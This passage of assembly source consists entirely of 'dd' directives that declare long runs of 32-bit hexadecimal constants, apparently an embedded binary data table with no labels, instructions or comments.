		dd 0BA764FB0h, 0CDFE8074h, 854A1D90h, 0CBFCE8C8h, 4B29FD12h
		dd 42F6957Fh, 9482B055h, 770B2BC5h, 5B90630Bh, 0FB008C79h
		dd 9F820977h, 0FC0C2CC9h, 8E3800EFh, 24CBB0BBh,	7596310Fh
		dd 0C14A4227h, 0AF140829h, 5F615898h, 0A0B42090h, 1A0EEE9Ch
		dd 40B532D6h, 4BFA1BD2h, 0A407B691h, 0FE962FCh,	3F007327h
		dd 0D5A45Ah, 0C7ABBD20h, 0DDE9C3F8h, 0B3A0665Bh, 169A0E18h
		dd 69E43106h, 30B3AB07h, 80DAE9F5h, 0EC61E7C6h,	2F7B7D1Eh
		dd 124690EDh, 23C14100h, 0B23EE046h, 42C83D9Bh,	0D5800D3Bh
		dd 91C95AC2h, 504A5BE9h, 5106E996h, 6E7F87F3h, 82913D07h
		dd 0D5DE5B9Fh, 0F4DA5C62h, 510F558h, 5457773Ah,	3B6E21ABh
		dd 4C296ADBh, 0B2606492h, 41E10B47h, 61D90432h,	0BBC71BB8h
		dd 79FE5217h, 0B360195Ch, 90D1FFF8h, 1DA52760h,	0D772B154h
		dd 2CD6CA4Ah, 689E02DCh, 0BB63BDA8h, 7A496657h,	92D14B2Bh
		dd 0B5302BCh, 52A13270h, 0DF34E33Ah, 0A1B2AB07h, 27ACE549h
		dd 9909BD90h, 7F138F96h, 3776FF09h, 1746D6h, 0C69E7368h
		dd 5D9D0BFCh, 0E91276BDh, 0E1F7AC57h, 0C0049A22h, 5B84DB25h
		dd 0AD71BBEAh, 8ABC9895h, 0C8505AFCh, 0F3009EE0h, 0BAB2974Ah
		dd 24E33704h, 2CF8146Bh, 0ED6C6034h, 18255B11h,	0BC6CF15Fh
		dd 957AAFCAh, 105923Ah,	0AB10198Dh, 0E76DE429h,	9700E2B8h
		dd 4921751Ah, 957AB3FDh, 6D5FE39Ah, 0AF82E0B5h,	580A98D3h
		dd 598529CCh, 3E9D010Eh, 790F7365h, 0B2181Bh, 0A94EEF18h
		dd 29F07499h, 14F59D18h, 9D0BFF53h, 0EA265EF9h,	572DB90Bh
		dd 0F0007BDh, 80AB5D4Fh, 172A5EDBh, 0B6EA12FEh,	878A7910h
		dd 907B093h, 560469EFh,	6054AEF5h, 19A99589h, 0C9655C95h
		dd 60A50771h, 9FFBB714h, 0B9339287h, 0DC641372h, 12B8FC31h
		dd 0AFAA75Bh, 394580EFh, 1549B561h, 2ACE66Eh, 7D362CBFh
		dd 8AB7C352h, 64C7F0E8h, 8229B9B5h, 58090ECEh, 36689017h
		dd 6A13116Dh, 2B770A0Bh, 0D17A84C8h, 8527A580h,	97DAA4E9h
		dd 8B4DD610h, 7F6C7A00h, 59B350Fh, 0B00400CDh, 60EA781Ah
		dd 85BDA2E3h, 0A0C25BC5h, 0F791A959h, 0AA053B04h, 0A02AC29Dh
		dd 99952802h, 834C11DDh, 0B8F40BF3h, 0E4E445E9h, 2D7C589Dh
		dd 0F95C33ABh, 55B5363h, 7FF2C830h, 3429AE24h, 403CB33Fh
		dd 8328DACBh, 0FE1820A5h, 9DE0CF80h, 0D9F9BFE5h, 9E926120h
		dd 0C1C83095h, 0B6165E17h, 0B412F072h, 9D0501EBh, 4F3929B1h
		dd 44116B67h, 0B4BD4A88h, 0F618C4E9h, 7B1D301h,	7367CF9Bh
		dd 0F8E8302Bh, 84B35B9h, 3BE823A9h, 8D84660Fh, 16D0E474h
		dd 84ED4E83h, 608706B8h, 4445A529h, 0AA8D03FAh,	0FF61D9A0h
		dd 34B8C96Dh, 5CCB0800h, 70429180h, 0DFC9501h, 5FC2B871h
		dd 0E081E4BDh, 0BD095E48h, 16A7A82Eh, 0EE8D22Bh, 4B47DB4Ah
		dd 7304076Ah, 0ABAC27B1h, 9C84D663h, 659D8941h,	2A662E03h
		dd 0D385792Eh, 0C8AE9A16h, 10B2C719h, 62D159C7h, 0C009CE96h
		dd 0AD097347h, 0C912EBB5h, 1B8010BCh, 3395788Bh, 0A6685C05h
		dd 0A904FF42h, 14B8B64Dh, 1D23BBh, 0C4A1D45Bh, 0A301A059h
		dd 2B50ED45h, 9850A59Dh, 4ABD8957h, 2B5EE181h, 9FB8212Ch
		dd 54641DCFh, 2DD522C1h, 31E79904h, 0A8A57E71h,	935364AFh
		dd 98E32BD8h, 0B5F77CDBh, 0B59E34CEh, 4A7B09D4h, 0A5DC878Fh
		dd 816FE1C5h, 2360F302h, 0D4640585h, 11278497h,	60615E00h
		dd 6E16C880h, 5EBFB523h, 0B4C5E5B9h, 0FF7ABE1Ah, 46E081CDh
		dd 256558A7h, 7456F841h, 2544C0D2h, 74599515h, 0F7ED5F52h
		dd 3F6F4640h, 25B73960h, 14BE6680h, 0A7CC805Dh,	3FBC6171h
		dd 0DCCEEB41h, 0E1C1EECh, 846FBDDh, 9B604F84h, 8A42C0F0h
		dd 4EBC8467h, 99E08E6h,	6C7B1A28h, 5DE70997h, 33C199EDh
		dd 58885EEDh, 0C2252315h, 7089530Ah, 0D709B183h, 0FC90FEC8h
		dd 3088C458h, 9721DDB5h, 75403799h, 0CE911BDEh,	0CAF92160h
		dd 89701E63h, 5FF6123Eh, 5B2AE773h, 0DD00F96Ah,	0C48A615Dh
		dd 0F3011248h, 5A3BB9Eh, 342F20B9h, 80C7EC84h, 0DC77F89Bh
		dd 58E517BEh, 28D88D50h, 9C9B4F42h, 51900680h, 0C01EAAA9h
		dd 98AB746h, 5549A495h,	2DE021CDh, 174A383Bh, 58922Eh
		dd 688B17CEh, 0AE2740BEh, 6FC0118Ch, 0B07BA820h, 41C8C032h
		dd 0BB7370C3h, 0B1854909h, 0A7AE5B77h, 0A85009D3h, 4470B55Bh
		dd 0FC93B6h, 28637CD7h,	151CD69Ch, 6A87BE4Fh, 0C0BCDFC4h
		dd 42EDA55Bh, 90B01DCh,	0AD9D710Fh, 2F3495C1h, 70239772h
		dd 721497EFh, 0FFC0F698h, 0B127C381h, 0E6285AAFh, 3016B2ADh
		dd 491DA113h, 10ED0689h, 0BC924Dh, 0DB904F4h, 58949DA6h
		dd 22F9C81Dh, 5C5F7749h, 0BCDAC42Ch, 0BF530188h, 0FA67880h
		dd 1556C07Ah, 0E2BF1639h, 0F4D5522h, 13CAEE0h, 6BA302DEh
		dd 0FC69DF80h, 8B67875Eh, 0C8B468A3h, 0C3815D62h, 7DB64B6Ah
		dd 716EAEBCh, 9010C800h
		dd 0DFDE857Bh, 81512A00h, 67FCF5F3h, 805B0527h,	0AF8DAED3h
		dd 4C80BD64h, 0E95026B3h, 74C2A635h, 5C7EEBE6h,	9183D08h
		dd 0BC71615Fh, 1DE2076Bh, 0C7D65979h, 3D5F092Ch, 9972028Eh
		dd 5950A0AFh, 9020E925h, 4B73E3AAh, 0B9A08EFFh,	0BDDFC097h
		dd 972B8EFh, 0B09ED5E2h, 0BF93985Fh, 9631383Bh,	34A38A4Bh
		dd 0C72C63BCh, 9E6FFBAFh, 2A0F80A0h, 161BE467h,	0ADF82084h
		dd 1AA9C47Dh, 9D2B0B12h, 0FEB59EC9h, 8BEF3DFFh,	7EF66058h
		dd 0E2B86601h, 8AE16147h, 0C08DFD2Eh, 554B9EDEh, 0C616253Ch
		dd 9D04195Bh, 1E1321BDh, 40031145h, 0F992FACDh,	10710DBBh
		dd 4A4E1660h, 0C4D3AD9Ch, 2DAA19A5h, 0D0DA3BC5h, 8F663483h
		dd 59A9AD46h, 0E4BFBC76h, 8DC24BE6h, 4E63E99h, 15DD2D7Ch
		dd 3569E859h, 5F5685DAh, 0BAC112C4h, 1A84185h, 9A4300AAh
		dd 4986C5B8h, 41B1364h,	88378D60h, 90DD9DAh, 0B170F861h
		dd 9D29561Ch, 52AD416Ch, 6CBDE6EFh, 0A9A6EF79h,	0CCB2345Ah
		dd 80DB9AD2h, 793EC9B1h, 0D75F05DFh, 0EC664D96h, 0B8CD4A1Dh
		dd 99EDEC2Eh, 4B226A1Ch, 0B247F64Fh, 0F8E83117h, 0E09DFAB0h
		dd 0A171143Fh, 0A1006E0h, 7EFE84A5h, 1DD41C58h,	1009EB5Ch
		dd 208D735Bh, 19C5209Bh, 0B289964Bh, 7A93F0h, 7D0B75A4h
		dd 670699BBh, 26EEF004h, 0F052540Ah, 0A22EAC4Dh, 0D5121996h
		dd 6B2B9CA1h, 17236Ah, 9549894Ah, 215B9D2Bh, 0D1F6BB17h
		dd 0AC3015B2h, 6A1497F1h, 0F03A3645h, 5682016Bh, 0ADCDA74Ch
		dd 47BB93C0h, 13B40A9Ah, 28D9CB01h, 1DB52540h, 0D12558C5h
		dd 0A1B7005Ch, 4A42B345h, 0B4D44000h, 987D16E5h, 0BB7925D2h
		dd 0BF0546C6h, 2257D4D8h, 85222AAEh, 0C1F07B0Dh, 443897D9h
		dd 0AF872DDDh, 37A590DEh, 0B2D023Bh, 9FF48DD5h,	0AB675B49h
		dd 93A558CBh, 9FBE3600h, 0CF081855h, 0DD8A28EAh, 0C95164BEh
		dd 45CD88C6h, 5B3204Ah,	0DA31BAD7h, 0A2C69D0Bh,	55FEE9BBh
		dd 104D0B8Bh, 56D165C0h, 78390028h, 80B49083h, 0C4975AE3h
		dd 12C400CBh, 0A385FEB7h, 0A04AD618h, 5E546FEEh, 720B77F9h
		dd 0E7D88BB4h, 739D094Bh, 0B59366F2h, 42700C4h,	903724h
		dd 160F0AA3h, 6A4BE8A7h, 74BC04B9h, 8B6A7309h, 40FC6FDEh
		dd 9618636Ch, 2F9F3817h, 820FD405h, 7E68AAFh, 3F9C1FC6h
		dd 22B40B40h, 0D4ED0E41h, 0AB059F03h, 0E6C1AF58h, 5B021CA9h
		dd 846A9F87h, 8E6FBB16h, 2151D800h, 0EB168CDh, 81ADBC5Eh
		dd 4BB521Eh, 0FE120716h, 0B705FA82h, 39F19DA0h,	50C5B785h
		dd 8089AC52h, 5940A54Eh, 544312F4h, 41BB53Fh, 8031018Dh
		dd 696A4CC7h, 9B6BC65h,	513C5E6Eh, 52684E1h, 0B95E09ECh
		dd 1A2BCC7h, 0AC48AEF3h, 7EDA354Ch, 8123D0E0h, 96322EF9h
		dd 69925CFCh, 0C4002DD1h, 0DB40177Fh, 4F743E8Eh, 775CF2A5h
		dd 3A9AB500h, 97ED5A6Eh, 0C5FB4204h, 1247F8D2h,	0ADE31129h
		dd 2424F88h, 0CC027F60h, 610219D1h, 3BA8C650h, 0FA8187DAh
		dd 0D3DCBA1Ah, 8CCAF837h, 4EDFE200h, 9389BFD9h,	0B93F4AB7h
		dd 16EBF8A0h, 6046B3FCh, 0F28E9F2h, 48521697h, 0DF5D6274h
		dd 95CA5BCh, 801D20FDh,	95346DF5h, 3BA4305Bh, 50257511h
		dd 990388E4h, 2A10C2FBh, 0AC91A082h, 0FD6362C7h, 0A1C2BF66h
		dd 46DC4256h, 3D0C001Bh, 7CB7A0ADh, 0DC1C7A43h,	5F17495Eh
		dd 31024773h, 5C0E61B5h, 0F9BA5320h, 2D46F889h,	13BCFB58h
		dd 7AAB2D69h, 0D476034Dh, 8C15BDD2h, 0A01D31C2h, 0DE8A6094h
		dd 0FEB19561h, 0B0FC110Ch, 7A60993Ah, 832A21B0h, 19814810h
		dd 8870E612h, 5578670Ah, 0F28C3A00h, 0ED2094BBh, 0C0F89746h
		dd 0F812BF04h, 0FFAD4039h, 9971D525h, 551DA8Bh,	0F74BD9A3h
		dd 41F55459h, 0CCC3ABBh, 0DC5B4C51h, 0B125C4Ch,	2FCAE5BDh
		dd 950D6EC6h, 60560389h, 50FA4025h, 0C82B2D5Fh,	1266B250h
		dd 0D710D133h, 9B9ABD36h, 0D649E54Ch, 4B8F5689h, 19012206h
		dd 0A7E67197h, 2515F1F9h, 55038994h, 18B12CB0h,	0BCF59B95h
		dd 0B4DE947h, 32C7C356h, 0A270FF57h, 17757FF2h,	0AB0B9FF4h
		dd 37AA5217h, 81F9641Ah, 2B7D613Ah, 0FCB3FA17h,	517CFC49h
		dd 0E0DE18A5h, 0CA14E539h, 316995A9h, 89D4BA46h, 553481FEh
		dd 0F2162C94h, 8FE61621h, 8D879F2h, 2B540541h, 0B95A62ECh
		dd 5C61E855h, 0E1C06F6Eh, 0D2C6A41Dh, 0DDCB471Ch, 0D6525625h
		dd 0B10B1746h, 64029B83h, 0E0AEB98Dh, 0F786BE92h, 2D392D16h
		dd 0D32F325Bh, 0EBB650E0h, 9E04D3FAh, 0FC697245h, 0CBE470E6h
		dd 6DBB013Ah, 0B859463Bh, 3345C2h, 0E49E6129h, 7C0744A0h
		dd 9189E25Eh, 57CDD9B2h, 50E9604h, 0D79BD22Bh, 9DCEDAC0h
		dd 9728D0Ch, 512CC536h,	0B61E5A5Ch, 0D088D311h,	79B3026Ah
		dd 0D17227Ah, 0DB708CF3h, 0D87E5076h, 442F5F21h, 0B877ABFFh
		dd 8052802Bh, 9E5B0BD7h, 0DEDCE935h, 0C63400D4h, 90C49262h
		dd 0BD71290Fh, 44056FB5h, 7AD86019h, 730C0BBBh,	8202F502h
		dd 59290D2Dh, 0B5557225h, 0E9DA0A9Ah, 15DF0B09h, 0BB807204h
		dd 22727020h, 78A9019Fh, 0F88B9B93h, 0F2FD66C7h, 4067D46Fh
		dd 0CDA7A149h, 2E789E00h, 69EFC990h, 0A07F3FB7h, 3B040E09h
		dd 0EA4B5A71h, 0E09C6D18h, 0F5395FA1h, 59982DE6h, 0B896A495h
		dd 0B3F82DF9h, 9BDDE03h, 0C0813CE8h, 1285DF30h,	0E3FE8B46h
		dd 15094E5Bh, 0AD3C712Dh, 2101FF35h, 628077ACh,	97DE0260h
		dd 0E9202814h, 25029804h, 68562C85h, 26A7F171h,	16DEACD6h
		dd 0FF5FF120h, 2AAC6A24h, 6F558BA2h, 0A09B60CDh, 89122B95h
		dd 51308608h, 0E8C1C9Fh, 5352B0ACh, 0A1B4E0C0h,	0C4001B24h
		dd 0D30466BBh, 1760109Fh, 528DBD31h, 3A04B109h,	75013A6Eh
		dd 7818E57Eh, 52D57E98h, 4EAE37E0h, 0AC5884B6h,	2AB2D30Fh
		dd 7CF47407h, 2A9BA06Eh, 7100B77Bh, 0BAB8D9FAh,	0F5BC67F2h
		dd 8474F23Ah, 0C8AA652Fh, 58AB898h, 6BABDBF6h, 17235Bh
		dd 0D96B3666h, 0FD4AC780h, 8941D4CDh, 90001DF5h, 50385360h
		dd 0A5A2CF58h, 0EAC17A12h, 7C787D8h, 0C08A452Eh, 0CC1372E6h
		dd 5B6333DCh, 2140C561h, 7E9E9B18h, 3573D8h, 1E9CF0A5h
		dd 3812D7EBh, 6846DB0Bh, 67CCFEE0h, 4174C0F5h, 0F8002DCFh
		dd 0B9C6DD09h, 97905B2Fh, 8FC0704Dh, 0FD7110h, 8F0F12Bh
		dd 0EB81FB57h, 2F65780Dh, 86015651h, 0CE2A12C1h, 60035A38h
		dd 5C8BA177h, 2B839763h, 0ACC199F5h, 4F77336Ch,	33C021A3h
		dd 412BADB6h, 8B5F5413h, 0AF3C1CBBh, 0FE004DD9h, 0EFA4240Ch
		dd 80341C5Ah, 44FA7779h, 0FF01FF63h, 6159BBB1h,	204B1B32h
		dd 6DE5D5DAh, 0BDA13F04h, 2DC2A6E2h, 0E5CAF595h, 46D64956h
		dd 0E76C0218h, 0D8D1D577h, 0B21F5A53h, 57ADD2D4h, 695B77A8h
		dd 0B5EA88h, 0A9CE6E66h, 8E59BA19h, 2872CA00h, 5ACF78F5h
		dd 42F2494h, 5B1711A4h,	0DB00A2B2h, 6BC0E5B6h, 42003373h
		dd 6C491ECAh, 2BF6674h,	0E95B7694h, 1155019Ch, 0DD6A2132h
		dd 0B06E7ADAh, 0C082F000h, 0B7341FAEh, 12FF604Ch, 31BD1A75h
		dd 258C15BCh, 0B1CC51BCh, 0E3A9BD4Fh, 0B2D9A65Ah, 75F5301Dh
		dd 0EC68F200h, 4D63CF57h, 6892DD1h, 0B6D60E56h,	3F6AC272h
		dd 5AE8F663h, 5C2FB8DBh, 1D6451h, 57A32A73h, 6AD6022Ch
		dd 77D48F50h, 7AE0C54Ah, 0A4A99D8Dh, 720009C4h,	20BB1EACh
		dd 4841723h, 89D5E16Ch,	0F8869846h, 0D8F65F00h,	0E11F813Dh
		dd 0DA8B2796h, 6B8FEB03h, 0E0B760C3h, 6168ACC8h, 5A2D5BB5h
		dd 500D46Eh, 21E4A52Ah
		dd 1638F68h, 78BF5B0Bh,	2E7C6082h, 0CF70F40Eh, 8B449E14h
		dd 44EA319Dh, 0ABC2BFF1h, 0DD417699h, 50021B51h, 0F652987Fh
		dd 0ECFABDh, 2BAFAAEEh,	0CB71D67Bh, 5372D704h, 0FC4F9B7h
		dd 488B91E4h, 0DAA4FDDEh, 0D79FC0CFh, 13FEB5D6h, 6F61E9FBh
		dd 68D301C5h, 1103C687h, 3BF217C4h, 8D8C6042h, 819E0A2Dh
		dd 0BEAD139h, 56613B56h, 36DB7AC0h, 73E49550h, 27A22551h
		dd 2E168AC5h, 0CBCBDCEDh, 9D9E6700h, 0E2010A1Ch, 5BD465BDh
		dd 0A92A1DFDh, 2CE916F6h, 852A6EA2h, 8B0F2DB1h,	4B2580CCh
		dd 5C53E7E7h, 180973B0h, 556872CEh, 891CF9C4h, 592DC5BDh
		dd 4DBC27Dh, 40746F75h,	0A5B52950h, 102A1E41h, 0A9B3D27Ch
		dd 7ED645Eh, 0B600F3BCh, 0C53CD26Dh, 25A5CE12h,	0AF6D5B56h
		dd 4F601864h, 6625C13Ah, 0A73A7BF2h, 0F752B6FBh, 0FB5FCDCCh
		dd 1E4238h, 0DB6B2868h,	0B56CB88Bh, 0E7CC4C09h,	8A89DD17h
		dd 6F950E70h, 5E546BC1h, 0A7757325h, 4D4967Eh, 0A5E6ECE9h
		dd 2517A8A8h, 799662FBh, 0E89000CFh, 8C82846Dh,	0F0735A0Fh
		dd 5C20CB3Ah, 1D46D692h, 38511100h, 3FAE2010h, 0FE30B82Dh
		dd 1FCD0893h, 4BEAF02Dh, 5ECECB17h, 0D000D36Ah,	80A04096h
		dd 0B8023635h, 758D31F1h, 0E6807410h, 89B77801h, 0BDB55568h
		dd 0E180D5A3h, 0B1BB7E8Bh, 6063134Dh, 4BC9B850h, 0BBE9D984h
		dd 3013DCECh, 9FDDB1F0h, 0E06A2Ah, 9F4B78B1h, 250B5218h
		dd 0C5E291C0h, 2FF87A61h, 0EA6FC012h, 849D9601h, 3AE00B32h
		dd 0F9C958ECh, 0EDABDD7Bh, 0F1B458h, 608FEE8Bh,	5F080EBFh
		dd 10224548h, 613B2B19h, 0FEE2D5CBh, 8FC0089Bh,	346C0959h
		dd 5F5C822Eh, 36D5CA60h, 51330B18h, 4F54548Ah, 7D71BDC2h
		dd 0B0D74C6Ah, 0B9810F29h, 8E2D3BAEh, 0F4CB01F6h, 0F9211329h
		dd 0DA1ED83Bh, 75BF0496h, 0FF017FA7h, 22068Ch, 0B33EC3D7h
		dd 0EA2A080Dh, 0E6DE3A01h, 964B0A77h, 0EAF2FB36h, 2830E65Dh
		dd 256A9D33h, 0ED3F1B3h, 0FF181B59h, 859C0D01h,	964DC6A9h
		dd 0F0B313Ah, 0D9B54983h, 251D238Dh, 12FCE5D9h,	4070FF16h
		dd 9A7993h, 0CB3606B6h,	0B45C3F72h, 70B35012h, 0F9D6D7BCh
		dd 1206EC0Bh, 0F3B07F47h, 0F0E656E6h, 9F8087Bh,	13DB805Ah
		dd 4D2452F4h, 55025CA7h, 74AE4E12h, 0F76AAE6Fh,	48CBB40Eh
		dd 6F82B980h, 0AF9C1A7Bh, 43B0E74Fh, 0C4768929h, 4FD2002Bh
		dd 5587CD06h, 19004710h, 3D3AE378h, 14AD59BBh, 0DEA54284h
		dd 5F5B8870h, 46982BA8h, 392DF4F0h, 5AF1546Ch, 8180D2F6h
		dd 8099F7C3h, 3B1A9D38h, 1311DFE0h, 0F22A8981h,	0C6611A5Bh
		dd 8490FD3Ah, 0A0036581h, 2D71E0FFh, 0CD2E103Ah, 515B1309h
		dd 457EC8h, 0BE553DC4h,	15DAB13Ch, 70AC4C04h, 3DAF5B4Bh
		dd 0FD6A3B99h, 0BA77160Fh, 0B8698056h, 9F48E990h, 890971B9h
		dd 7D1691B5h, 8FB47BE4h, 38800D4h, 27B2D233h, 0F84E8AF9h
		dd 9557238Ch, 905FB560h, 50AFB316h, 0AFDED7ACh,	0C8C0E3CDh
		dd 0A200594h, 0B75AD88Dh, 0EAED15D0h, 676FEB4Bh, 0DA6AE84Ah
		dd 6184F542h, 0ED0C1812h, 0E07E8323h, 5B16BA2Fh, 0AF6278CBh
		dd 3DDE3300h, 6D950977h, 9DE49528h, 90800495h, 0F558CCAFh
		dd 6BC76400h, 49701A38h, 6FC800BEh, 0A011B041h,	5012A1EBh
		dd 0FEAC5152h, 0ABD2354Fh, 8D298941h, 881A19D5h, 29C1CF17h
		dd 2F6A055Eh, 0DDF05FB6h, 0FB02A50Bh, 0E9D2FD4Eh, 0B4DF290Eh
		dd 0FA2D4ADFh, 0CADA1A32h, 60E85C70h, 2AE9B529h, 946EC6B5h
		dd 0F600D41Ch, 0AEFE9E1Bh, 50ADFA6Dh, 4B3DFCE7h, 22F5CE30h
		dd 82E79D79h, 0A18D31C0h, 92E69517h, 2559C693h,	16859C8Bh
		dd 28C6E96Ah, 5A1F5400h, 0D8560184h, 61FDFD9Dh,	0BF500280h
		dd 78AA0802h, 95019009h, 4414D7D1h, 7F870F2Ch, 0E0E2F6ADh
		dd 3316A769h, 5675E92Fh, 21937117h, 1EDB6A8Dh, 13C2E4C0h
		dd 0DB02C597h, 0E1BD019Dh, 89FB5422h, 9ADD3462h, 69295EA5h
		dd 0F127A874h, 0F0DC00C4h, 0A0E641CDh, 0DF9C6997h, 0D7C1BF10h
		dd 907D8113h, 0F68D7C98h, 0FE51B518h, 16E3D16Bh, 0E625EF23h
		dd 93CDDBBFh, 0D59AD8h,	0A2B8076h, 267DACA7h, 0C4B2DE9Dh
		dd 5D2AAFDFh, 0DD662280h, 1617CCCDh, 438CBE96h,	0FFA6003Fh
		dd 0F8407E56h, 0EE00ACA2h, 8C46B76Ah, 0B7BB25Eh, 2965B509h
		dd 0FFFE7EFAh, 0D620E950h, 13D8BC00h, 2B9BF3A5h, 3DDF0067h
		dd 62CFF00Eh, 3EB88401h, 5C311927h, 0AC00F49Ch,	31F78CB5h
		dd 9D72EA52h, 152B8331h, 0D4357883h, 5F3AB009h,	0D2CD0277h
		dd 7FC055E3h, 7148E4F9h, 78C9C09Bh, 132B87B3h, 0A4E694D3h
		dd 9A97FD7Ah, 0AD705ECAh, 6450650h, 0CE6AE03Eh,	0A12045B0h
		dd 2C50B528h, 0BB0E91h,	0AEEB67B7h, 1E4990h, 0CD4A818Eh
		dd 33359783h, 563F7C2Dh, 59958440h, 84F01211h, 0A4854A31h
		dd 0C85C2BF7h, 6A5C415Ch, 2EFD2304h, 340CAA16h,	9DD993F9h
		dd 23619519h, 65AB6D90h, 0EB657760h, 0B5BD0D89h, 7AD10D7h
		dd 33CF3480h, 0BFA2030Ch, 0A21389B3h, 8BA205ADh, 400CE8C4h
		dd 0EDDA9997h, 69D5015Fh, 0F246955Dh, 52E9E01Bh, 55FC25C9h
		dd 11952CC4h, 0F62F5205h, 6BFF00DFh, 5DEBCC90h,	5AF7052Fh
		dd 0AA2E29ECh, 0F4445DCAh, 51087EFEh, 5FE32DA5h, 8A99E8DAh
		dd 73277995h, 75BD04CCh, 0A1A2E809h, 8A003123h,	0BE06AFDh
		dd 0BFBF78BDh, 217D8232h, 0A6FC2B30h, 23636B3Ah, 0B62C001Bh
		dd 6264CA30h, 0F80C7872h, 0AD085FB9h, 0B0FED7FAh, 0B330DBF0h
		dd 0E6BF0C9Eh, 0D904B54Eh, 461D8B8h, 5F24728Bh,	2092FC4Eh
		dd 0D22B3B03h, 0CB99509h, 0F62EF7Bh, 4D97B18Ah,	498C52DEh
		dd 0D131C3Dh, 0D6949E88h, 58365EAh, 0BA045961h,	18C9EF9Bh
		dd 907784B0h, 88A07817h, 8D4B2DA8h, 0C32B2EEBh,	0A36DFC27h
		dd 78BCD4C4h, 532548A2h, 0D75FD60Ah, 5AE287C4h,	0AEDE8AC4h
		dd 0EFAD9574h, 8F00C5A8h, 0FEE006C8h, 5AFF8E78h, 0D214F8E1h
		dd 0A08F3AE2h, 0B7FD25BCh, 89C00065h, 0CE1A36C7h, 0E1251490h
		dd 0B5BE718h, 0F5D40587h, 10B209F4h, 5779837Ah,	4B592546h
		dd 0F04BD60h, 1361F8BFh, 20B927A9h, 7107652Fh, 0BF2EB038h
		dd 3C8C6B51h, 9D30926Bh, 97F05857h, 32ED1B0Bh, 0CA7F41C0h
		dd 57FF2409h, 227508D6h, 4520C425h, 1972968Bh, 6BAA6BC4h
		dd 0B1523FEh, 8C180130h, 950E60ECh, 2975B66Bh, 0C4FF5672h
		dd 6D0F430Ch, 9580EF91h, 179DFE7Fh, 0EA53C9BCh,	30406A30h
		dd 4C2A7F54h, 0F1095182h, 478279A5h, 68DD434Bh,	4CB360D0h
		dd 29C0AA7Bh, 5CDD6FD4h, 615C27FCh, 0C74F44E7h,	2C1A73BFh
		dd 6F9012F1h, 0F81C0E20h, 2AA7D4FEh, 0FB9DA101h, 0C53AD0FEh
		dd 0C4985198h, 2AD3DB59h, 5B4B9C15h, 53343CCAh,	4ADEA3FEh
		dd 0BF5FE62Ch, 8A004666h, 0F00AFA78h, 3C12E0Bh,	8E9AA192h
		dd 0CEB01CC5h, 53259E25h, 4712545Fh, 87D4FB0Fh,	0F5339363h
		dd 0A82265EEh, 0C637DA40h, 0B63E00F6h, 0DD733DC2h, 8FE8E778h
		dd 3B271600h, 3C35668Ah, 0D9B79F58h, 0D984F202h, 606056D2h
		dd 315161BBh, 25B95F4Eh, 81D93093h, 90037ECBh, 9EE903C5h
		dd 0FDDB5B02h, 0F3854AC2h, 80C9DEBBh, 37823147h, 65C516A1h
		dd 5D7A046Ch, 0BDE3AF1Ch, 9C87AC4Ah, 1763400h, 1DABA50h
		dd 129C4440h, 20CC081Fh, 4C258075h, 0D6145C5Bh,	0EE4E1D46h
		dd 122E7229h, 0A37BEF19h, 215A2A0Eh, 0D15E9D00h, 9C10B9h
		dd 77023AC0h, 42BA9752h, 0E0500473h, 0C760046Eh, 0A5755817h
		dd 29ED18A0h, 23C98D17h
		dd 3294BF95h, 0AF3653BEh, 17232C6Bh, 5E2BE400h,	61B66097h
		dd 0D19DD472h, 4AE0421h, 0B90446C6h, 0A2B87Eh, 0E6D27F99h
		dd 96A9B5B3h, 22BDDF48h, 0F5B77802h, 0EE4E643Ch, 0A88E8220h
		dd 92D20053h, 0AB0F5514h, 0EE002329h, 5278E2BBh, 0B3965F1Dh
		dd 0D17D7A5Ah, 81CAA5FEh, 4C43CF5Fh, 700195D2h,	0B593D2FAh
		dd 0D1415009h, 393B3041h, 13EF02ADh, 0DEE066D6h, 3B7D8Bh
		dd 975F9F68h, 7555DA71h, 50665200h, 277632BBh, 6879BD1Ah
		dd 9458945h, 646B58DAh,	0A031FE4Bh, 0C23A6B44h,	0DD50E568h
		dd 594A739Dh, 4CF91815h, 0D8C0B095h, 0E3A87EEEh, 9D89EA16h
		dd 908042EEh, 96C4830Fh, 0B327FC90h, 0D85EA470h, 8A90ED58h
		dd 0B4BDD95Eh, 0D87E0CADh, 52FFC200h, 54C84DB8h, 61702CA2h
		dd 59F360AFh, 0BA79AE75h, 5C3C8125h, 1C46F692h,	4B2D0800h
		dd 116F1832h, 0BF306501h, 6D255416h, 4508282Fh,	136E3996h
		dd 2FF95591h, 0BBF6E902h, 0E75F6D25h, 0B58C3142h, 24D2306Ch
		dd 1609C05h, 0B9D5A19Dh, 2D53C2CCh, 0E47B615Ah,	0ABCF807Dh
		dd 6AE1DB69h, 8160F896h, 2FEAB9EBh, 9B417679h, 32E72A30h
		dd 828D52A0h, 0BF5DFB0Eh, 0DA2241EFh, 0FC305B02h, 8E014E6Dh
		dd 4AEB3A3Fh, 98A04EF7h, 309DEB1h, 760DADBDh, 82BA7161h
		dd 0D1852955h, 0EA9E540Eh, 0BCAC0B11h, 12C03457h, 0F8D9E380h
		dd 28FB17BBh, 5F746BABh, 4E00E8A7h, 1738DEF4h, 70788943h
		dd 0AAE2965Fh, 0C9800D3Ah, 71413E61h, 0CF4E50DCh, 0D94FDBB3h
		dd 75B7FCDBh, 16B9652h,	9B04F381h, 312F68AAh, 49DE8B92h
		dd 3C93356Eh, 0C1E65A28h, 0D93016B2h, 0A2234B78h, 45FA83Ah
		dd 0F88A5B4Ah, 0F5208460h, 10DFDEC2h, 14E41C4h,	0E19B916Bh
		dd 0E75BC8AAh, 2CF4C25Eh, 303DE361h, 0A0ECF6D2h, 4DF2232h
		dd 0ABA4B08Eh, 4E80BCACh, 573E1A6Eh, 5F91C702h,	9F5E6F9Ch
		dd 0C06BED2Dh, 6C2DFBB2h, 5663D827h, 313908BDh,	0F5526003h
		dd 0A78DD35Ah, 0C6A5850Ah, 7C3A97A9h, 570AFFBh,	8980BA3h
		dd 7B023C4Fh, 45771BD5h, 4212AFA7h, 8040ADFCh, 929681C3h
		dd 0E28C4B63h, 0DBDC8205h, 2CF582AAh, 0B77540F5h, 9A99B21Eh
		dd 564D4BA5h, 0BFBC03A3h, 5A5574Fh, 0AF2B03B0h,	1723156Bh
		dd 495C2203h, 79DC12E2h, 0B44EE801h, 1BA09DE6h,	5250B7Dh
		dd 0EFE260FDh, 0CA564BBEh, 4269225Bh, 289101E8h, 9E1E59AAh
		dd 3F08ECE8h, 0BD9717B3h, 651954DDh, 9F1B50Bh, 9CD125Dh
		dd 6B4492h, 0B172FDAEh,	56F0FF30h, 0DF6E3900h, 1851F13Ah
